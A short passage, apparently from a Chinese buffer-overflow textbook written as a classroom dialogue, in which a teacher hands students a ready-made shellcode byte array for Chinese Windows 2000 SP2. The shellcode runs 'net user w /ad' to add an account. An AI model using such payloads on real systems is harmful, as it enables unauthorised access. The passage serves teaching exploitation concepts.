1.7.3 ShellCode的使用

“让我们再看看第二个条件――ShellCode。ShellCode很重要,但这里我不详细介绍, ShellCode的编写很有考究的,会涉及到各方面。应用不同,要求不同,编写也不同。如果同学们有兴趣,我会抽个时间讲‘ShellCode’的编写。”

“有有有,当然有兴趣啦!”听老师一说,大家都争先恐后的表示想听。

“呵呵,那好吧,我们在以后的课程中涉及。这次我就直接给出在中文Win2000 SP2下添加名为‘w’用户的ShellCode。以后大家会写ShellCode时,直接替换掉就可以了。"

char ShellCode[] = 
    "\x8B\xE5\x55\x8B\xEC\x33\xFF\x57\x57\x57\x57\xC7\x45\xF1\x6E\x65"
    "\x74\x20\xC7\x45\xF5\x75\x73\x65\x72\xC7\x45\xF9\x20\x77\x20\x2E"
    "\x80\x45\xFC\x01\xC6\x45\xFD\x61\xC6\x45\xFE\x64\x33\xC0\x88\x45"
    "\xFF\x8D\x45\xF1\x50\xB8\x4A\x9B\x01\x78\xFF\xD0" ;